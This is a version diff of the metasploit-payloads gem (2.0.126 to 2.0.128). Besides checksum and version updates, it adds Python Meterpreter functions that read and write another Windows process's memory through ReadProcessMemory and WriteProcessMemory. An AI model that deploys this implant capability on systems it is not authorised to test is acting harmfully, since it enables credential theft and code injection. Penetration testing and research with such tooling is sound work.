metasploit-payloads 2.0.126 → 2.0.128

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: df7977356870e07734e7966d9a4554ec9dbc37d98e2dad01b2c114107bd4d24a
-  data.tar.gz: 49853fb0888a775e199c37594cee72b17972eeadc5214e6487db510815ef9334
+  metadata.gz: 041f380f68dfb49e3ec0a63ca63d59174d8390a4d34b863640fd7eeff94c486f
+  data.tar.gz: 15b20fa5eedfb5516acd6fe6a83dfe3bcfa97c09dd8d76a4cf43d03f092d6cc3
 SHA512:
-  metadata.gz: 5afc58a2e3de26f20429dd49054406b28d6cdd80bfc722ac5513c30b7b86460957c8897b1c736c7a625ba6b08c7d93427cc6b4ec1ee5e86ce825d469211af1c5
-  data.tar.gz: 1908449c6cc0bfb151f953df462fa8434bcbb72bac0ca31249190145516c94b4a632b5e805c67009b4a21ca4bee3a3678d445d033c8a9207680690fef834124f
+  metadata.gz: b459d3adf1c68ac866848794bce3945850645f661e2ca9a06ca9c4d35e3b53e3ef70f5b3c5ad4a72003f0758c6e1ad758a257ae00b45f0be3f11ae6d5e3a7e2f
+  data.tar.gz: 9b82b7a90b6ba6e2689564c89fbeac9a6bc16c991360f069ca4af63231d1ee301296c169bce285eaab431756a90c61e2f22033e0d020561e586548c81894a9b7

data/data/meterpreter/ext_server_stdapi.py

@@ -1663,6 +1663,50 @@ def stdapi_sys_process_memory_unlock(request, response):
         return error_result_windows(), response
     return ERROR_SUCCESS, response
 
+@register_function_if(has_windll)
+def stdapi_sys_process_memory_read(request, response):
+    ERROR_PARTIAL_COPY = 229
+    handle = packet_get_tlv(request, TLV_TYPE_HANDLE).get('value')
+    base = packet_get_tlv(request, TLV_TYPE_BASE_ADDRESS).get('value')
+    size = packet_get_tlv(request, TLV_TYPE_LENGTH).get('value')
+
+    if not (handle and base and size):
+        return ERROR_INVALID_PARAMETER, response
+
+    ReadProcessMemory = ctypes.windll.kernel32.ReadProcessMemory
+    ReadProcessMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t, ctypes.POINTER(ctypes.c_size_t)]
+    ReadProcessMemory.restype = ctypes.c_bool
+
+    buffer = ctypes.create_string_buffer(size)
+    bytes_read = ctypes.c_size_t(0)
+    if (not ReadProcessMemory(handle, base, ctypes.byref(buffer), ctypes.sizeof(buffer), ctypes.byref(bytes_read))) and (ctypes.windll.kernel32.GetLastError() != ERROR_PARTIAL_COPY):
+        return error_result_windows(), response
+
+    readed_data = buffer.raw[:bytes_read.value]
+    response += tlv_pack(TLV_TYPE_PROCESS_MEMORY, readed_data)
+    return ERROR_SUCCESS, response
+
+@register_function_if(has_windll)
+def stdapi_sys_process_memory_write(request, response):
+    ERROR_PARTIAL_COPY = 229
+    handle = packet_get_tlv(request, TLV_TYPE_HANDLE).get('value')
+    base = packet_get_tlv(request, TLV_TYPE_BASE_ADDRESS).get('value')
+    data = packet_get_tlv(request, TLV_TYPE_PROCESS_MEMORY).get('value')
+
+    if not (handle and base and data):
+        return ERROR_INVALID_PARAMETER, response
+
+    WriteProcessMemory = ctypes.windll.kernel32.WriteProcessMemory
+    WriteProcessMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t, ctypes.POINTER(ctypes.c_size_t)]
+    WriteProcessMemory.restype = ctypes.c_bool
+
+    written = ctypes.c_size_t(0)
+    if (not WriteProcessMemory(handle, base, data, len(data), ctypes.byref(written))) and (ctypes.windll.kernel32.GetLastError() != ERROR_PARTIAL_COPY):
+        return error_result_windows(), response
+
+    response += tlv_pack(TLV_TYPE_LENGTH, written.value)
+    return ERROR_SUCCESS, response
+
 @register_function_if(has_windll)
 def stdapi_sys_process_memory_free(request, response):
     handle = packet_get_tlv(request, TLV_TYPE_HANDLE).get('value', 0)

data/lib/metasploit-payloads/version.rb

@@ -1,6 +1,6 @@
 # -*- coding:binary -*-
 module MetasploitPayloads
-  VERSION = '2.0.126'
+  VERSION = '2.0.128'
 
   def self.version
     VERSION

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: metasploit-payloads
 version: !ruby/object:Gem::Version
-  version: 2.0.126
+  version: 2.0.128
 platform: ruby
 authors:
 - OJ Reeves
@@ -96,7 +96,7 @@ cert_chain:
   EknWpNgVhohbot1lfVAMmIhdtOVaRVcQQixWPwprDj/ydB8ryDMDosIMcw+fkoXU
   9GJsSaSRRYQ9UUkVL27b64okU8D48m8=
   -----END CERTIFICATE-----
-date: 2023-04-19 00:00:00.000000000 Z
+date: 2023-04-26 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: rake